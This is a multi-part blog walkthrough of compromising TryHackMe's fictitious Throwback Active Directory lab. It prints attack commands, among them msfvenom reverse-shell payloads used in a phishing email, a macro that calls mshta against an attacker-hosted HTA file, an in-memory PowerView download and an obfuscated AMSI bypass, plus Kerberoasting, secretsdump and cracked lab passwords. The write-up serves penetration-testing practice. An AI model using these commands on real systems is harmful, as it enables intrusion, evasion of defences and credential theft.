Tag tryhackme

TryHackMe – Throwback Network (Part 5 – Corporate.local and TBSEC-DC01)

imflikk 3 Comments

When we left off last time we had just validated our current domain admin, MercerH, is also able to log into CORP-DC01 as an administrator. I stuck with using RDP to log in for this portion.

Looking around the machine doesn’t find anything useful in mercerh’s profile, but a file named “server_update.txt” in the Administrator’s Document’s folder is interesting. The notice appears to be a message notifying team members about two web pages that are hosted on 10.200.14.232 (in my case): mail.corporate.local and breachgtfo.local. There is also a reminder to not link social media or github to company resources, which might indicate something sensitive had been found there in the past.

I edited my hosts file (/etc/hosts) to include these two entries and tried accessing them through my browser using the proxychains configuration in FoxyProxy.

Visiting the pages gives us a login page for Corporate webmail.

And a site that appears to function like haveibeenpwned.com where you can search for an e-mail to see if it has been compromised.

I tried a few of our previously discovered credentials on the webmail login with no luck, so we’ll likely have to wait to poke further at that. The e-mail addresses we already have also don’t seem to have any breaches associated with them as they come back with “No Breaches Found”.

As it doesn’t seem like the e-mail addresses we have work for either of these sites, let’s explore the other part of the message we found that mentioned social media. The text file from earlier had a reminder not to link company resources to github or social media, so let’s see if we can find any of those online. Starting with a simple Google Dork to only give results from LinkedIn, we get some hits for the company.

Looking further into that result, we see LinkedIn shows 3 employees for this company: Rikka Foxx, Summer Winters, and Jon Stewart,

I looked through each of these pages, but the one that stood out as interesting was Rikka Foxx. She is listed as the lead developer for the company, so if anyone was going to have a github repository it would likely be her.

I didn’t get any results on Github when using Google dorks again, but searching on github.com directly for “throwback hacks” gives us 1 user result.

Looking at the repos this user has listed, we can see one appears to be for the Timekeep server in use within the company that we’ve already been through.

Checking the commits for this project shows standard entries for adding each file, but there is also a second commit mentioning an update to db_connect.php, a file that sounds like it would potentially have database credentials in it.

Inspecting that commit specifically, we can see the user removed hard-coded credentials for DaviesJ. It looks like this is one of the credentials we had already found from other places, but maybe we can try them against the new device we identified in this domain, CORP-ADT01.

CORP-ADT01 (10.200.x.243)

I can’t reach CORP-ADT01 through my current route setup in Metasploit, so I have to repeat the process of creating a file with msfvenom, creating a matching listener in Metasploit, uploading/running the file on a device that can reach our target (CORP-DC01 in this case), and then using the session it creates to create a new route. I won’t show screenshots of these steps again as I’ve done it a few times, but we end up with a session in Metasploit that can reach the CORP-ADT01 machine and it looks like the credentials we found will give us administrator access.

I looked around the machine for a bit and only found one interesting file. The image below is an e-mail explaining how the e-mail format being used for mail.corporate.local will be changing.

This is important for us as we already have a list of users for the domain, but don’t necessarily know which department everyone would be in. Trying the base e-mail domain or the domain with a wildcard on the gtfobreach site doesn’t give any results, so it looks like we’ll need a full e-mail to check. We can make the check a little quicker by just adding all 5 prefixes listed in this text file to every user we’ve identified so far and write a quick script to check them against the breach site.

The walkthrough for the network uses a tool called LeetLinked to scrape LinkedIn for any profiles associated with a specific company or domain. In our case, the command below checks for any accounts listed with the throwback.local e-mail domain and the company name of “Throwback Hacks”.

python3 leetlinked.py -e "throwback.local" -f 1 "Throwback Hacks"

Once this is run, it outputs a spreadsheet with the results. These results give us a starting point for e-mails to check for breaches.

However, before we can check for breaches, we need to convert these e-mails to the new format that is expected on mail.corporate.local and mentioned in the e-mail update above. There are scripts that can do this for you, but however you do it, you should end up with a list like below, containing every user we found with LeetLinked, but using the new format for every department as we don’t know which user goes with which department. The @ symbol in the e-mail needs to be replaced with the URL-encoded version of it (%40) for the script I’m going to use to work correctly.

I wrote a quick Python script to go through each e-mail in this file and make an HTTP request against the breach site, matching the format of the request to what we see happen when searching in the browser.

The script simply prints out the e-mail being checked and the length of the HTTP response. 4950 is the normal length of a message giving the response of “No breaches found”, so anything other than that number indicates something we should look into. As the script finishes up, we find one e-mail that generates a response length that differs from the norm: SEC-jstewart@TBHSecurity.com.

Checking this e-mail manually for breaches shows us the results and provides a password.

Moving back to mail.corporate.local and trying this e-mail/password combination let’s us in and we find one e-mail waiting. The site appears to mimic Outlook 365, but seems to just be a clone to look like it and isn’t interactive, displaying only this one message with guest credentials for TBSEC_GUEST.

TBSEC-DC01 (10.200.x.79)

At this point, the last step is to compromise the last machine in the network with these credentials: TBSEC-DC01 (the last domain controller). However, the walkthrough on TryHackMe doesn’t explain how you would have identified there was another DC if their network map didn’t already show it. This might have been something I missed, but I wasn’t able to find a link to it from the two domains we have already been through via trusts, ARP tables, or anything.

Moving on, I was able to RDP into the machine with the guest credentials.

Looking at the users in the domain, we identify one that appears to also be a local administrator on this DC: TBService.

Going through the AD properties of this user shows it has an SPN (Service Principal Name) set, so we can try Kerberoasting it to try and get its password.

I went back to using Impacket for this portion, but there are other tools that do the same thing, like Rubeus. The command below uses our working credentials to request a ticket for any accounts with SPNs set in the domain. Once run, we can see we successfully get the hash for the TBService user.

proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -dc-ip 10.200.14.79 TBSEC_GUEST:"WelcomeTBSEC1!" -request

Back to Hashcat, using the same hash type as our last Kerberos hash (13100), and we get a successful crack for the password “securityadmin284650”.

And finally, back on TBSEC-DC01, we’re able to successfully connect as the TBService user to get administrative rights on the machine, successfully owning the last machine in the network.

I poked around a little on this machine to see if I can go back and find a way that we were supposed to have identified TBSEC-DC01 without using the walkthrough, but still didn’t see anything.

Finishing Up

So that’s the end of this network and this series of posts. Overall, I enjoyed it and learned a few things along the way. The only cons I’d call out are the way the walkthrough glazes over how someone would identify certain targets in a real-world situation where they’re not conveniently provided a network map ahead of time. However, given this is the first network of this type TryHackMe has released, I think Sq00ky and Cryillic did a great job of connecting everything all the way through to create a logical attack path.

Here’s the final network map after everything was completed.

TryHackMe – Throwback Network (Part 4 – TIME and DC01)

imflikk 4 Comments

At the end of the last post we had taken over Throwback-TIME and dumped the hashes. Now we need to do some more recon on that machine to see if there is anything of interest. Before we do that, I tried to crack the hash for the “Timekeeper” user as that didn’t seem standard. Using hashcat again with mode 1000 for NTLM and the rockyou wordlist we were able to crack it.

hashcat.exe -a 0 -m 1000 ..\hash.txt ..\rockyou.txt

We can test the credentials by trying to SSH into the Throwback-TIME machine through proxychains (using the route setup in Metasploit from last time).

Now, we can continue looking around the machine. Using netstat, we can get a list of ports the machine is listening on and one stands out that we didn’t see before: port 3306 (MySQL) appears to be listening.

We can also see that there is an xampp directory in the root directory for the C drive, so the MySQL instance running is likely part of that. As XAMPP needs a way to manage the MySQL database it uses, it includes binaries in its directory, such as C:\xampp\mysql\bin\mysql.exe which will let us connect directly to the database (assuming we have credentials). I ran into a problem at this point when my SSH connection died and wouldn’t let me re-connect, so I switched to using RDP instead. I can the administrator hash we dumped to connect via WinRM and use that shell to add the timekeeper user to the Remote Desktop Users group using the following command.

net localgroup "Remote Desktop Users" timekeeper /add

After this, I can use xfreerdp to connect to the machine as the Timekeeper user.

When I try to connect to MySQL, however, we find the password we have for Timekeeper doesn’t work.

Going back to our enumeration of domain users, I remember seeing a user named SQLService, which might have the credentials we need for this database. Many times these SQLService accounts will have an SPN (Service Principal Name) set to associate it with a certain SQL server running and these SPNs can allow us to Kerberoast the account to try and gather its password hash. Using a previous session with PowerView still loaded, we can see this account does have an SPN set.

I’m not going to go into detail about how Kerberoasting works, but in this case I’m going to use the Impacket toolkit again to do it using the “GetUserSPNs.py” script. The command below just needs us to specify valid credentials for any user in the domain, specify the domain controller, and tell it to request a ticket on behalf of any users found.

proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py throwback.local/blairej:7eQgx6YzxgG3vC45t5k9 -dc-ip 10.200.14.117 -no-pass -request

We can see in the image below that it successfully finds the same SPN we saw earlier and then provides us a hash of the Kerberos ticket for the user.

Now, as usual, we just need to pass it over to hashcat to try and crack it. We identify the hash type as 13100 using the hashcat example hashes page again. Then run it and find it cracks almost immediately with the password “mysql337570”.

If we go back to our RDP session and try logging into MySQL one more time using this new password we’re able to get in now. Now let’s enumerate what’s in the database.

Looking at the available databases, we see two of potential interest: domain_users and timekeepusers. Looking at domain_users first shows it only has one table named “users”.

Checking the content of that table gives us a list of usernames that we haven’t seen before in our enumeration, so possibly users from another domain.

Looking at the timekeepusers database shows the same single table “users”, but gives us a list of users along with passwords.

Throwback-DC01

With this new information we can turn our focus on attacking the domain controller itself. We know its IP is 10.200.14.117, so let’s try password spraying with some of these new passwords we found combined with our previous list.

After a little bit, we get a hit on the user JeffersD being able to log into the DC with the password “Throwback2020”.

For simplicity, I used RDP to try the credentials and they successfully give us a session on the domain controller.

Looking at the local administrators for the machine, we can see that our account is not one, but the user MercerH appears to be, which might be useful later.

A little more enumeration of our user’s folders reveals a document named “backup_notice.txt” in the Documents folder that has credentials for the backup account.

Given that in order for an account to successfully backup a server, it would need sufficient privileges to do so, we can assume the backup account likely has access to dump certain information from the domain controller. It might not be able to log in as an administrator, but we can try using another Impacket script called “secretsdump.py” to remotely dump the domain hashes using the backup credentials.

proxychains python3 /usr/share/doc/python3-impacket/examples/secretsdump.py backup:"TBH_Backup2348!"@10.200.14.117 -dc-ip 10.200.
14.117

And it successfully dumped the hashes for all users in the Throwback.local domain, which means we essentially own this domain now. For ease of use and so we don’t have to try and pass the hashes whenever we need them, I copied over just the NTLM portion of each user’s hash to try and crack with Hashcat. Most of the successful cracks were for passwords we already knew about, but “pikapikachu7” was the password for the user MercerH, who happens to be an administrator on the DC.

As my SSH is still being weird and won’t let me connect, RDP again it is. We can see that I’m able to successfully connect using mercerh’s credentials to the domain controller, which means we now have an interactive session with domain admin rights.

We could use the built-in Windows Server AD tools to poke around since we’re in an RDP session, but I prefer PowerView for this portion. I loaded it from my local machine into memory in the RDP session and checked for other domains in the forests, along with any domain trusts our current domain may have with them.

This output tells us there is a second domain named “corporate.local”, which we have a bidirectional trust with, and the main domain controller appears to have the hostname “CORP-DC01”.

We can do a few more enumeration searches for users and computers.

We get a list of users that seems to match the domain_users table we saw in the MySQL database and only two computers in the domain: CORP-DC01 and CORP-ADT01. A quick ping shows the names can be resolved and gives us the IPs of the machines.

Pivoting to Corporate.local domain

I tried to run crackmapexec against CORP-DC01 to verify if I could reach it, but it doesn’t appear that my current route through Throwback-PROD allows me to as it times out rather than just denying, so we’ll need to set up a new session in Metasploit and create a route going through Throwback-DC01 instead.

First, I created a new file with msfvenom to move over to my session on the DC.

msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=9999 -f exe -o shell-dc.exe

After transferring the file over and running it, I have a new session in Metasploit for the DC.

I then went back to the autoroute module and used the “delete” cmd setting to remove the current route going through Throwback-PROD. There are some errors that show up, but the ending route command shows we have no current routes set.

Switching the command back to “autoadd” and changing the session to our new one of the DC, running it gives us similar errors, but also shows we now have a new route defined going through Throwback-DC01.

Checking crackmapexec again, we can see this time it successfully connects, but then gives us an explicit logon failure message, so our new route appears to be working.

As we have a bidirectional trust, we should be able to authenticate to the corporate.local DC using an account from the throwback.local domain, such as the one we’re currently using: mercerh. Crackmapexec failed above because it defaulted to using the corporate domain, but when specifying throwback.local, it successfully connects. It even gives the message “Pwn3d” at the end, indicating our user is an administrator.

I’ll end this post here for now and with the next one we’ll move into looking around the Corporate.local network. Here is the current state of the network and new machines we have owned.

Until next time again!

TryHackMe – Throwback Network (Part 3 – PROD and TIME)

imflikk Leave a comment

Picking up where we left off, we were able to perform some domain recon from the Throwback-WS01 machine and confirm that there are 4 total computers that are part of the throwback.local domain:

  • Throwback-PROD
  • Throwback-MAIL
  • Throwback-TIME
  • Throwback-DC01

We knew about three of these already, but TIME was new to the list. However, the problem is we can only access PROD and MAIL with our current VPN connection due to the firewall configuration, but can include WS-01 as well if we send another phishing e-mail out to the users and setup a persistence mechanism on it if the executable is run again.

As sending multiple phishing messages to the users would start to seem suspicious in a real environment, we need to look around for other methods of gaining a reliable foothold. In a real corporate network, one of the easiest way of collecting credentials can be through abusing NBT-NS/LLMNR poisoning. If a client cannot resolve the name of a workstation or device through DNS it will fall back to name resolution via LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service). The tool we’re going to use for this is called Responder. At a basic level, it will perform the two steps below:

  1. First, it will listen to multicast NR (Name Request) queries (LLMNR – UDP/5355, NBT-NS – UDP/137) and, under the right conditions, spoof a response – directing the victim to our attacker machine instead of the intended device.
  2. Once a victim tries to connect to our machine, Responder will exploit the connection to steal the user’s username and password hash.

To get started, we run Responder.py and provide the interface we want it to listen on. The settings for which type of poisoners/servers to use are controlled through the /usr/share/responder/Responder.conf file, but we’ll use the default configuration for now.

Once started, we can see it is listening on all three name resolution services, along with running fake servers on multiple protocols. After a few minutes, we get a hit from 10.200.14.219 (Throwback-PROD) with the NTLMv2 hash for the user PetersJ.

Now that we have a hash, we can try to crack it with Hashcat, but we need to find out which mode to use for this type of hash. A quick Google search for “hashcat example hashes” gives us their page with a list of every hash type they support, the mode number, and an example of what they look like. Searching for NTLMv2 shows us that is is mode 5600 and the example hash looks to be in the same format as the one we collected.

I tried just using the default rockyou.txt wordlist first, but it didn’t find anything, so I used the OneRuleToRuleThemAll rule list again and it found the password below: Throwback317.

hashcat.exe -a 0 -m 5600 ..\hash.txt ..\rockyou.txt -r rules/OneRuleToRuleThemAll.rule

Great, so we now have a set of supposedly valid credentials for Throwback-PROD, which is one of the three devices we can access from “outside” the network. Going back to our original nmap scan, we saw SSH was listening on 10.200.14.219, so that will be the easiest method of testing the credentials.

Looks like it works, so now we have easy access to Throwback-PROD. Unfortunately, the user account we connect with isn’t a local administrator this time, but there does seem to be a second account for PetersJ that is an admin (along with BlaireJ who we might be able to pass the hash for from WS-01 if needed).

We need to find a way to escalate our privileges on the machine to administrator before we can move any further. My tool of choice for enumerating this type of information is winPEAS, but SeatBelt is also a good choice, though I’ve found its output to be a bit lengthy. I moved to the AppData temp folder where we’ll have write permissions and downloaded the winPEAS.exe file from my local machine with a quick powershell command.

When run, winPEAS gives nice color-coded output (depending on the type of shell you have) and helps us identify misconfigured services, passwords stored in clear-text, or other common methods that can be used to escalate privileges.

One of the first interesting bits we find is stored autologon credentials for the user BlaireJ.

Trying to SSH in with those credentials now verifies they work.

As BlaireJ is a local administrator on PROD, we can go ahead and use this session to dump the rest of the credentials on the machine, but first I want to transfer the session to Metasploit for easier access to Mimikatz and so we can use it to pivot to the internal network later on.

First, I use msfvenom to create a file called “shell.exe” that, when run, will call back to a listener I will create in Metasploit.

Next, I downloaded the created file using powershell into the C:\windows\temp folder on PROD.

Lastly, I start a listener in Metasploit using the same payload as was used to create shell.exe and then run the file on the machine. It launches and we can see we successfully get a meterpreter shell back in the Metasploit console.

To emphasize the dangers of having access to a local admin and the ease of use Metasploit gives us, the screenshot below shows the one command it takes, ‘getsystem’, to go from our current user to NT Authority\SYSTEM if our user is already a local administrator.

Now that I have SYSTEM access, after migrating to a x64 process (our initial payload was only x86) I’m able to dump hashes for the local machine.

Checking for domain credentials using the kiwi module doesn’t show us anything we don’t already have. We get the domain NTLM hashes for BlaireJ and PetersJ, along with the plain-text password for BlaireJ, all of which we already have unfortunately.

I poked around the various user folders on the machine, but didn’t find anything too interesting. However, now that we have a session on PROD we can use it to pivot into the rest of the internal network. The easiest way to do this is to use Metasploit’s “autoroute” and “socks4a proxy server” modules.

To configure the route, we need to use the multi/manage/autoroute module, point it to the session we want to use, and the assign the subnet we route to route traffic for. In this case, we want any traffic destined for the 10.200.14.0/24 subnet to be routed through session 1, which is what the final ‘route’ command shows below.

After the route is configured, we need to use the Socks4a proxy server module to allow us to access the route outside of Metaploit. This module starts a proxy server on all port 1080 for all interfaces on our local machine.

Lastly, we add the line below to our /etc/proxychains.conf file to configure the type of proxy to use, the address to point it to, and the port to connect over.

With all of these steps done, we can now use the proxychains tool to force certain traffic through our Metasploit session, allowing us access to any devices the Throwback-PROD machine has access to.

If we test nmap against port 445 of Throwback-WS01, we can see our first result comes back as filtered, indicating there’s a firewall blocking our scan. When we add proxychains to the beginning of the command and add the -sT flag for a full connect scan (due to how scanning through a proxy works), the port comes back as being open.

Normal Nmap
--------------------
nmap -p 445 10.200.14.222 -Pn -n

Nmap with Proxychains
--------------------
proxychains nmap -sT -p 445 10.200.14.222 -Pn -n

Perfect, now we can access the rest of the devices in the throwback.local domain. Let’s run a quick nmap scan against the two we haven’t been able to look at yet: Throwback-TIME and Throwback-DC01. The scan takes some time to complete, but we can already see that it seems to be working and has identified a few common ports open on both machines.

As they both appear to be listening on port 80 (HTTP) and the entire scan will take a while, we should start checking out the web servers. However, we run into a problem when trying to access the internal network via a web browser in that it is not going through the proxy we have configured. We can fix this by configuring a proxy in the browser itself. In my case, I use a Firefox add-on called FoxyProxy that lets you configure multiple proxies and switch between them easily. In the configuration I define this one as a SOCKS4 to match what is being used in Metasploit and point it to the same IP and port we use with proxychains.

Next, I just switch to the “Proxychains” choice I just created to enable that proxy. Now any website I visit will go through this proxy server as well.

When we try visiting 10.200.14.176 in the browser now we get a login page for what appears to be a timekeeping web application.

Unfortunately, when we try using the credentials we have already found for BlaireJ or PetersJ, neither work, so this system doesn’t appear to be using domain credentials. If we remember back to the e-mails we found on the webmail portal earlier, there was a message to MurphyF for a password reset that used an address for timekeep.throwback.local.

As we seem to have found the server hosting that site now, we can try using the URL to reset the user’s password. In this case, I will be using the URL below, which should set MurphyF’s password to the word ‘password’.

  • 10.200.14.176/dev/passwordreset.php?user=murphyf&password=password

When submitting the request, we get a page saying the password has been successfully updated along with a flag.

Going back to the login page, we’re now able to login to the site.

The Help & Support option doesn’t do anything, but “Upload time Card” takes us to another page where it seems to want a user to upload an Excel document named “Timesheet.xlsm”.

My first thought was to try uploading a PHP web shell file, but it gets rejected as the site only seems to accept XLSM files.

Since it doesn’t seem like there’s a way around the file type restriction (I didn’t try too hard, so I’m not positive there isn’t), let’s try another tactic. As this network has simulated user behavior in other parts, maybe there is some here as well. Let’s try making a malicious Excel document that will call back to our machine to give us a reverse shell.

First, I’m going to use the ‘hta_server’ module in Metasploit to create a malicious HTA (HTML Application) file and host it for us. We set the correct listening interface for the server and payload then run it to get the URL for the malicious file. This module also starts a Metasploit listener, so we don’t have to worry about starting one of those separately.

Now, we move over to a new Excel document named Timesheet.xlsm (to match what the website expects and add a macro. For reference, I did this in Excel, but you may be able to do something similar in free products like OpenOffice or LibreOffce. I’ve always had problems working with macros that work in both products, but I’m sure there’s a way.

First off we open the document, go to the Developer tab, and click the ‘Macros’ button. If the Developer tab isn’t visible, you may need to enable it first.

Next, we create a new module in the VBA editor to insert our malicious code into. I’m using something basic that just runs a shell command and tries to execute a remote HTA file. The “NotMalicious” function in the code below defines the code to be run when the function is called and “Auto_Open()” defines which functions should be called automatically when the document opens. In our case, we only have one function that will use mshta.exe to try and execute the HTA file being hosted in Metasploit.

mshta.exe http://10.50.12.12:8080/<Metasploit URL>

With the document created, I went back to the web site, uploaded our malicious Timesheet.xlsm, and this time it appears to have worked successfully. The message even says someone will review the timesheet soon, so we just need to wait for someone to open it.

After a minute or so we got a connection back from 10.200.14.176 (Throwback-TIME) and a shell as the Administrator user was opened.

Using the same ‘getsystem’ command as earlier to escalate our privileges to SYSTEM and then migrating to a x64 process, we can now dump the hashes from this machine as well. These hashes look mostly standard, except for the Timekeeper account, which appears to be local to this machine.

I’m going to wrap this post up here for now. In the next one we’ll poke around Throwback-TIME a little more and then move on to taking over the domain controller.

Here’s an updated network map of which devices we currently own and what else we can see.

Until next time!

TryHackMe – ThrowBack Network (Part 2 – MAIL and WS-01)

imflikk 1 Comment

At the end of the last post we had just used Hydra to spray a list of common passwords against the usernames found on the Throwback-MAIL webmail portal. As a quick recap, below are the results.

That leaves us with this list of credentials collected so far.

An easy next step will be trying these credentials against the machines we already know about. I used the tool CrackMapExec for this to easily try authenticating with SMB to Throwback-PROD (10.200.14.219). This spray shows us the only credentials that appear to work on PROD are for the user HumphreyW.

However, being able to authenticate via SMB doesn’t necessarily mean we’ll be able to get a shell on the machine. If we use CrackMapExec again, but this time with the ‘winrm’ flag instead of SMB it will check if our users is allowed to connect via PowerShell Remoting. Unfortunately, that comes back with no hits, so it looks like HumphreyW can only use SMB for now. Let’s look into what he might have access to.

Another useful module in CME gives us the ability to check what shares a user with valid credentials has access to. As we can see in the image below, HumphreyW has read access to a non-default share called “Users”.

Using smbmap to recursively check the contents of the share shows us what appears to be the Users directory in Windows, but the only user who seems to have a profile is HumphreyW.

Normally I would use the tool smbclient to connect to the share, but for some reason that wouldn’t work for me. Instead I just mounted the share to my local machine and sorted through the contents there.

mount -t cifs -o username=humphreyw,password=securitycenter //10.200.14.219/Users /mnt/PROD-Users

This lets me go to my /mnt/PROD-Users folder and view HumphreyW’s user folder directly. Once I’m in there, one thing in particular stands out: the .ssh folder where SSH keys are stored. Moving in to that shows an id_rsa file, which is the private key portion of an SSH key-pair and what is needed to connect as a user via SSH.

Getting the contents of the file shows it does appear to be a valid key, so I copied it into a file to use and changed the permissions to what SSH expects (chmod 600 <key-file>).

However, when I try using the file as my private key, it still prompts me for a password and doesn’t accept the one found for this user (securitycenter). I was a little confused by this at first, but when looking at verbose output for the connection, it looks like the server is just not accepting my key and defaulting back to password authentication. I’m not sure if this was something I messed up or if the server is configured to only allow specific users (not this one) to connect via SSH. Either way, moving on to other avenues of attack.

Back to Throwback-MAIL (10.200.x.232)

Our next step is going to be to try and log in to the webmail portal with each set of credentials to see if any of them have anything interesting. Most of the inboxes are empty and prompt for initial profile setup when logging in, indicating they haven’t been used at all. For example, the credentials for HumphreyW give the screen below.

When logging in as MurphyF we see the user has one message for a “Password Reset Notification” that contains a link that can be used to reset the user’s password.

For now, the link doesn’t work when clicking on it because we don’t know what IP timekeep.throwback.local resolves to, but I saved it for reference later.

The user DaviesJ has two messages when logged in, one of which appears to be testing whether an executable file is able to be sent as an attachment (it seems to be allowed).

The fact that .exe files are allowed opens up a possibility for us to send a phishing message using one of the accounts we have access to to try and trick a user into running the attached program. Obviously there are not real users in this network, but the description of what to expect in the challenges mentioned phishing, so it’s worth a shot.

First up will be generating a malicious EXE that will call back to our machine, and for that we’ll use msfvenom. The command below will generate an executable named “Cleaner.exe” which, when run, will automatically try to connect back to our VPN IP on port 443. The name Cleaner.exe is aimed at making it appear more legitimate when paired with the phishing e-mail we’re going to create. Again, this part isn’t necessary for this lab, but it’s good practice for a real-world situation where you need to convince a user to do something.

msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o Cleaner.exe

Next, we start a listener in Metasploit using the same configuration to catch the connection when the file is executed.

With the listener setup, now we just need to compose the message. Below is a somewhat believable message that would likely cause some employees to run the attachment without a second though. The file we created is attached and I added every e-mail address from the address back to the recipients, so now we just hit send and wait to see what happens.

Throwback-WS01

After a minute or so we see Metasploit sending the payload to 10.200.14.222 and opening a Meterpreter session. Looking at the details of the sessions shows we have a session on the machine THROWBACK-WS01 as the user BlaireJ.

One thing to note before moving forward is that this machine was not on our initial list of devices in the first nmap scan even though it’s in the same subnet as the others. This likely means it is sitting behind the firewall and we can’t access it without pivoting from another machine. I’ll go more into this and how we’ll use it later.

I moved into the session and started a shell to run a few quick recon commands on the workstation. It looks like the user BlaireJ is a local administrator on the machine, which means we should be able to escalate to NT Authority/SYSTEM easily enough by either using meterpreter’s built-in ‘getsystem’ command or possibly just by migrating to a process running as SYSTEM.

After listing available processes, I migrated from our current process (Cleaner.exe) to one of the running svchost.exe processes. With regular user rights, we wouldn’t be able to do this, but as our user is an administrator it allows us to inject into any process, even if it is running as SYSTEM, which then makes our effective permissions that of SYSTEM.

With SYSTEM privileges, we can now run ‘hashdump’ to dump the hashes of all local accounts from the SAM database.

To be sure we don’t miss any domain credentials that might be in LSASS instead of the SAM database, we can also use the kiwi module in Metasploit, which will give us access to various Mimikatz commands. Below is the output from running the ‘creds_all’ command, which prints any credentials that are found. However, in this case it looks like all we have is the same NTLM hash we already found for BlaireJ and the machine account.

Now we get to try and crack BlaireJ’s password hash. For me, that means switching back to my Windows Host machine to run hashcat because trying to crack passwords in a VM is a bad idea and doesn’t work very well. 

hashcat.exe -a 0 -m 1000 ..\hash.txt ..\rockyou.txt

-a specifies the attack mode (0 = dictionary)
-m specifies the hash mode (1000 is for NTLM)

I pasted the NTLM hash for BlaireJ from above (c374ecb7c2ccac1df3a82bce4f80bb5b) into the file hash.txt and used the well-known dictionary rockyou.txt to try and crack it. Unfortunately, I wasn’t able to crack it, even when adding the rule file “OneRuleToRuleThemAll” for extra permutations of the passwords.

We can still save the hash for a possible pass-the-hash attack later, but we also need to do a little more recon on the machine. Using the ARP table and ipconfig we idenfity another IP in this subnet that seems to be the Domain Controller – 10.200.14.117 or THROWBACK-DC01.

There also seem to be quite a few user profiles on this machine.

Apart from the user and root flags in two different profiles, I didn’t find anything of interest in the user directories.

As this machine appears to be part of the domain and linked to the domain controller, we can also use it to get more information about users/computers in the domain itself, such as users, computers, and trusts.

To make domain recon a little easier, I’m going to use the script PowerView.ps1, I just need to load it from my local machine into the powershell session open in metasploit. I hosted the file with a python web server and used the command below to load the contents of the file directly into memory instead of having to save it to disk. However, as we can see by the next screenshot, it successfully reached out to my machine to get the file, but was blocked by AMSI because of the content in the file.

IEX (iwr http://10.50.12.12/PowerView.ps1 -UseBasicParsing)

There are a few things we could do to get around this, such as removing comments and changing function names in the script itself, but the easier is just to disable AMSI completely in our current session. The command below essentially tells AMSI it doesn’t need to perform anymore checks in our current PowerShell session.

Attacker Version
------------------------
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )

Normal Version
------------------------
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)

After pasting this in and running the previous command again we see it successfully gets the script again, but this time doesn’t give any errors, indicating it loaded the script successfully.

Now that PowerView is loaded, we can start enumerating. 

Get all user objects in the specific domain and only print the AD username
-------------------------------------------------------------------
get-netuser -domain throwback.local -domaincontroller 10.200.14.117 | select samaccountname
Get all computer objects in the specific domain
-------------------------------------------------------------------
get-netcomputer -domain throwback.local -domaincontroller 10.200.14.117

This list of computer objects shows 3 devices we already knew about, but one we haven’t seen yet: THROWBACK-TIME. This might be related to the timekeep.throwback.local site we saw in an e-mail earlier, so we’ll need to keep note of this. A quick nslookup gives us the IP for this newmachine as 10.200.14.176.

Get all domain trusts
----------------------------------------------------------------
Get-NetDomainTrust -domain throwback.local -domaincontroller 10.200.14.117

This last one specifically shows us our current domain has a trust relationship with a second domain, corporate.local. The current goal is still to get access to the domain controller in our domain, but after that we might be able to pivot into corporate.local.

There’s plenty more to do, but I think this is a good place to stop for this post. An updated network map shows which devices we have identified and the green lightning bolts mark the machines we have owned.

To be continued again!

TryHackMe – Throwback Network (Part 1 – FW01 and MAIL)

imflikk Leave a comment

Overview

It’s been a while since I’ve done any actual write-ups, so I figured it’s time to get back to it. I’ve been working through the Throwback Network from TryHackMe, which is a an entire (fictitious) virtual network designed to be compromised as as means of practicing techniques that can be used in similar, real-world enterprise environments. TryHackMe’s description is below, along with the topics that are covered.

Throwback is an Active Directory (AD) lab that teaches the fundamentals and core concepts of attacking a Windows network. The network simulates a realistic corporate environment that has several attack vectors you would expect to find in today’s organizations.

https://blog.tryhackme.com/introducing-networks/
  • Phishing and OSINT
  • Lateral Movement
  • Kerberos Abuse
  • Malicious Macros
  • Active Directory Enumeration & Exploitation
  • Attacking Mail Servers
  • Firewall Pivoting
  • Utilizing C2 Frameworks
  • Abusing Cross-Domain Trusts

For those familiar with it, it is a similar concept to the ProLabs offered by HackTheBox.

This GIF shows the layout of the network we’re given to start with and changes over time based on flags you submit, indicating which machines have been compromised and which you should now have access to.

Introducing TryHackMe Networks

I won’t be covering how to find every single flag needed as my goal will be more about showing how I took over the network, though some flags will end up in screenshots as they’re part of the same steps I’ll follow.

Now that’s out of the way, let’s get started.

Forewarning, the write-up for the entire network will likely end up spanning 5 or 6 posts given the amount of information to cover.

Initial Enumeration

Once my OpenVPN config file was downloaded and started up, I verified I was connected and can see I was given the IP 10.50.12.12.

My network diagram matched the GIF above, except the third octet of the target network was .14, so the prefix for the machines was 10.200.14.x. Since I forgot to take screenshots of the diagram along the way, I’ll be using the final version and just black out any machines we can’t see with our current access to simulate what it would have looked like.

We can see in my image above that there are only three systems that should be visible to our attacking machine to begin with and we can confirm this by running an nmap scan against the 10.200.14.0/24 range.

Nmap actually shows us 4 hosts as being up, but as far as I can tell 10.200.14.240 isn’t intended to be a target and isn’t used (from our perspective) in the network, so that leaves us with the 3 we expected:

  • 10.200.14.138 – Seemingly Linux server running SSH and and a web server
  • 10.200.14.219 – Window device running standard services, including a web server and SSH (not standard for Windows)
  • 10.200.14.232 – Linux server running a web server and e-mail services (IMAP)

Throwback-FW01 (10.200.x.138)

I started further nmap scans to run default scripts for each of the machines found and decided to check out the various web servers to see what is hosted on each while the scan runs. Starting at the top of the list, we immediately get an interesting find in the form of a pfsense login page.

This isn’t totally unexpected given the diagram showed this IP as being the firewall for the network, but surely the administrators would have changed the default credentials of admin:pfsense.

Looks like no. Those credentials worked and we’re now logged into the pfsense console as the administrator, which should offer a few possibilities of ways to pivot to other machines. One of note that pfsense provides is a command prompt on the underlying server through the “Diagnostics” tab.

Testing the command prompt to check the ID of the user we’re running as shows pfsense is running as the root user.

Now all we have to do is put together a command that will create a reverse shell back to our machine from the pfsense server. My go-to reverse shell involves using named pipes and netcat, especially since pfsense usually runs on FreeBSD, which doesn’t have /bin/bash by default.

